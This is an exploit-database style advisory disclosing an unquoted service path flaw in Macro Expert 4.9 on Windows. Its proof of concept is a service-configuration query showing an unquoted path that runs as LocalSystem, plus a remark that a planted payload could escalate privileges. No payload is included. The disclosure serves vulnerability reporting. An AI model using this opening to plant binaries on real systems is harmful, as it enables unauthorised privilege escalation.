Macro expert 4.9 unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2023-06-06 | Type : local | Platform : windows
This exploit / vulnerability Macro expert 4.9 unquoted service path is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Macro Expert 4.9 - Unquoted Service Path
# Date: 04/06/2023
# Exploit Author: Murat DEMIRCI
# Vendor Homepage: http://www.macro-expert.com/
# Software Link: http://www.macro-expert.com/product/gm_setup_4.9.exe
# Version: 4.9
# Tested on: Windows 10

# Proof of Concept :

C:\Users\Murat>sc qc "Macro Expert"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Macro Expert
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : c:\program files (x86)\grasssoft\macro expert\MacroService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Macro Expert
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

# If a malicious payload insert into related path and service is executed in anyway, this can gain new privilege access to the system and perform malicious acts.